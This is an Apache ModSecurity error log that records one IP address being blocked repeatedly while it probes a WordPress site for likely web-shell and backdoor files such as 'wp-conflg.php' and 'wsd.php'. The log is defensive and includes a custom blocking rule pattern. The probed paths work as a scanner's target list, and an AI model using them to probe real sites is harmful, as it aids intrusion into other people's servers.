[Fri Jan 02 05:53:09.743014 2026] [:error] [pid 63208:tid 63235] [client 4.241.192.15:11663] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aVbsxXKLI9INGPLzfnd-pwAAANg"]
[Fri Jan 02 05:53:10.093142 2026] [:error] [pid 63208:tid 63222] [client 4.241.192.15:11709] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aVbsxnKLI9INGPLzfnd-qQAAAMs"]
[Fri Jan 02 05:53:11.126543 2026] [:error] [pid 63099:tid 63145] [client 4.241.192.15:6038] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVbsx8mCZokRPYUhzvgW8AAAAEs"]
[Fri Jan 02 05:53:11.876293 2026] [:error] [pid 63098:tid 63129] [client 4.241.192.15:11752] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVbsx8ez9k78gUs48kqSOAAAABY"]
[Fri Jan 02 05:53:12.596713 2026] [:error] [pid 63098:tid 63111] [client 4.241.192.15:11765] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVbsyMez9k78gUs48kqSOQAAAAQ"]
[Fri Jan 02 05:53:13.000460 2026] [:error] [pid 63100:tid 63183] [client 4.241.192.15:6110] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVbsyDuUXUKd3KTnKl-W-AAAAJY"]
[Fri Jan 02 05:53:13.699302 2026] [:error] [pid 63100:tid 63184] [client 4.241.192.15:6044] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aVbsyTuUXUKd3KTnKl-W-QAAAJc"]
[Fri Jan 02 05:53:14.099800 2026] [:error] [pid 63208:tid 63212] [client 4.241.192.15:6125] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aVbsynKLI9INGPLzfnd-sAAAAME"]
[Fri Jan 02 05:53:14.622245 2026] [:error] [pid 63208:tid 63231] [client 4.241.192.15:11698] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aVbsynKLI9INGPLzfnd-sgAAANQ"]
[Fri Jan 02 05:53:14.935034 2026] [:error] [pid 63208:tid 63217] [client 4.241.192.15:11692] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aVbsynKLI9INGPLzfnd-tQAAAMY"]
[Fri Jan 02 05:53:15.270124 2026] [:error] [pid 63100:tid 63169] [client 4.241.192.15:11757] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aVbsyzuUXUKd3KTnKl-W-wAAAIg"]
[Fri Jan 02 05:53:15.566124 2026] [:error] [pid 63208:tid 63233] [client 4.241.192.15:6071] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aVbsy3KLI9INGPLzfnd-tgAAANY"]
[Fri Jan 02 05:53:16.120900 2026] [:error] [pid 63208:tid 63218] [client 4.241.192.15:6105] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aVbszHKLI9INGPLzfnd-uAAAAMc"]
[Fri Jan 02 05:53:16.540442 2026] [:error] [pid 63100:tid 63164] [client 4.241.192.15:11703] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aVbszDuUXUKd3KTnKl-W_wAAAIM"]
[Fri Jan 02 05:53:17.186040 2026] [:error] [pid 63100:tid 63174] [client 4.241.192.15:6084] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aVbszTuUXUKd3KTnKl-XAQAAAI0"]
[Fri Jan 02 05:53:18.014666 2026] [:error] [pid 63098:tid 63111] [client 4.241.192.15:6050] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aVbszsez9k78gUs48kqSQwAAAAQ"]
[Fri Jan 02 05:53:18.594473 2026] [:error] [pid 63100:tid 63162] [client 4.241.192.15:6033] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aVbszjuUXUKd3KTnKl-XBgAAAIE"]
[Fri Jan 02 05:53:19.383004 2026] [:error] [pid 63100:tid 63168] [client 4.241.192.15:11725] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aVbszzuUXUKd3KTnKl-XCgAAAIc"]
[Fri Jan 02 05:53:19.762164 2026] [:error] [pid 63100:tid 63183] [client 4.241.192.15:11687] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVbszzuUXUKd3KTnKl-XDAAAAJY"]
[Fri Jan 02 05:53:20.142976 2026] [:error] [pid 63208:tid 63227] [client 4.241.192.15:6112] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVbs0HKLI9INGPLzfnd-wgAAANA"]
[Fri Jan 02 05:53:20.435132 2026] [:error] [pid 63098:tid 63120] [client 4.241.192.15:6068] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVbs0Mez9k78gUs48kqSSAAAAA0"]
[Fri Jan 02 05:53:20.770486 2026] [:error] [pid 63098:tid 63118] [client 4.241.192.15:6104] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVbs0Mez9k78gUs48kqSSQAAAAs"]
[Fri Jan 02 05:53:21.129296 2026] [:error] [pid 63208:tid 63215] [client 4.241.192.15:6054] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aVbs0XKLI9INGPLzfnd-xgAAAMQ"]
[Fri Jan 02 05:53:21.673388 2026] [:error] [pid 63208:tid 63228] [client 4.241.192.15:6126] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aVbs0XKLI9INGPLzfnd-yQAAANE"]
[Fri Jan 02 05:53:22.078120 2026] [:error] [pid 63100:tid 63176] [client 4.241.192.15:6102] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aVbs0juUXUKd3KTnKl-XFwAAAI8"]
[Fri Jan 02 05:53:22.391815 2026] [:error] [pid 63098:tid 63122] [client 4.241.192.15:6106] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aVbs0sez9k78gUs48kqSSwAAAA8"]
[Fri Jan 02 05:53:22.703949 2026] [:error] [pid 63098:tid 63128] [client 4.241.192.15:6035] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVbs0sez9k78gUs48kqSTQAAABU"]
[Fri Jan 02 05:53:22.972199 2026] [:error] [pid 63098:tid 63129] [client 4.241.192.15:6099] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVbs0sez9k78gUs48kqSTwAAABY"]
[Fri Jan 02 05:53:23.362676 2026] [:error] [pid 63208:tid 63222] [client 4.241.192.15:6064] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVbs03KLI9INGPLzfnd-zAAAAMs"]
[Fri Jan 02 05:53:23.625172 2026] [:error] [pid 63208:tid 63233] [client 4.241.192.15:6141] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVbs03KLI9INGPLzfnd-zgAAANY"]
[Fri Jan 02 05:53:24.064256 2026] [:error] [pid 63100:tid 63162] [client 4.241.192.15:6142] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVbs1DuUXUKd3KTnKl-XHAAAAIE"]
[Fri Jan 02 05:53:24.396755 2026] [:error] [pid 63100:tid 63185] [client 4.241.192.15:6037] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVbs1DuUXUKd3KTnKl-XIAAAAJg"]
[Fri Jan 02 05:53:25.045852 2026] [:error] [pid 63208:tid 63221] [client 4.241.192.15:11738] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVbs1XKLI9INGPLzfnd-0QAAAMo"]
[Fri Jan 02 05:53:25.329045 2026] [:error] [pid 63208:tid 63215] [client 4.241.192.15:6094] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVbs1XKLI9INGPLzfnd-1AAAAMQ"]
[Fri Jan 02 05:53:25.911425 2026] [:error] [pid 63100:tid 63170] [client 4.241.192.15:6018] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVbs1TuUXUKd3KTnKl-XJQAAAIk"]
[Fri Jan 02 05:53:26.482802 2026] [:error] [pid 63208:tid 63231] [client 4.241.192.15:6115] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVbs1nKLI9INGPLzfnd-1gAAANQ"]
[Fri Jan 02 05:53:26.846132 2026] [:error] [pid 63098:tid 63120] [client 4.241.192.15:6128] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVbs1sez9k78gUs48kqSVQAAAA0"]
[Fri Jan 02 05:53:27.272011 2026] [:error] [pid 63098:tid 63130] [client 4.241.192.15:11688] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVbs18ez9k78gUs48kqSVwAAABc"]
[Fri Jan 02 05:53:27.640654 2026] [:error] [pid 63098:tid 63123] [client 4.241.192.15:6042] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aVbs18ez9k78gUs48kqSWQAAABA"]
[Fri Jan 02 05:53:27.911054 2026] [:error] [pid 63208:tid 63234] [client 4.241.192.15:6029] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aVbs13KLI9INGPLzfnd-2QAAANc"]
[Fri Jan 02 05:53:28.205700 2026] [:error] [pid 63099:tid 63147] [client 4.241.192.15:6116] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aVbs2MmCZokRPYUhzvgXCwAAAE0"]
[Fri Jan 02 05:53:28.668860 2026] [:error] [pid 63100:tid 63168] [client 4.241.192.15:6019] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aVbs2DuUXUKd3KTnKl-XKwAAAIc"]
[Fri Jan 02 05:53:29.011373 2026] [:error] [pid 63100:tid 63180] [client 4.241.192.15:6089] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVbs2TuUXUKd3KTnKl-XLAAAAJM"]
[Fri Jan 02 05:53:29.353297 2026] [:error] [pid 63098:tid 63114] [client 4.241.192.15:11735] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVbs2cez9k78gUs48kqSXQAAAAc"]
[Fri Jan 02 05:53:29.920526 2026] [:error] [pid 63098:tid 63109] [client 4.241.192.15:6122] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVbs2cez9k78gUs48kqSYAAAAAI"]
[Fri Jan 02 05:53:30.251048 2026] [:error] [pid 63098:tid 63119] [client 4.241.192.15:11710] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVbs2sez9k78gUs48kqSYQAAAAw"]
[Fri Jan 02 05:53:30.536783 2026] [:error] [pid 63098:tid 63112] [client 4.241.192.15:11746] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVbs2sez9k78gUs48kqSZAAAAAU"]
[Fri Jan 02 05:53:30.928659 2026] [:error] [pid 63099:tid 63149] [client 4.241.192.15:11705] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVbs2smCZokRPYUhzvgXDAAAAE8"]
[Fri Jan 02 05:53:31.203101 2026] [:error] [pid 63100:tid 63169] [client 4.241.192.15:6074] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVbs2zuUXUKd3KTnKl-XNgAAAIg"]
[Fri Jan 02 05:53:31.511810 2026] [:error] [pid 63098:tid 63113] [client 4.241.192.15:11723] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVbs28ez9k78gUs48kqSagAAAAY"]
[Fri Jan 02 05:53:31.781798 2026] [:error] [pid 63208:tid 63221] [client 4.241.192.15:6017] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVbs23KLI9INGPLzfnd-2wAAAMo"]
[Fri Jan 02 05:53:32.174643 2026] [:error] [pid 63208:tid 63214] [client 4.241.192.15:6117] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVbs3HKLI9INGPLzfnd-3QAAAMM"]
[Fri Jan 02 05:53:32.658478 2026] [:error] [pid 63208:tid 63235] [client 4.241.192.15:6036] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVbs3HKLI9INGPLzfnd-4gAAANg"]
[Fri Jan 02 05:53:33.008942 2026] [:error] [pid 63208:tid 63216] [client 4.241.192.15:6119] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVbs3XKLI9INGPLzfnd-5AAAAMU"]
[Fri Jan 02 05:53:33.287714 2026] [:error] [pid 63100:tid 63181] [client 4.241.192.15:6082] [client 4.241.192.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVbs3TuUXUKd3KTnKl-XPAAAAJQ"]
[Fri Jan 02 05:53:33.685131 2026] [:error] [pid 63100:tid 63166] [client 4.241.192.15:11702] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aVbs3TuUXUKd3KTnKl-XPgAAAIU"]
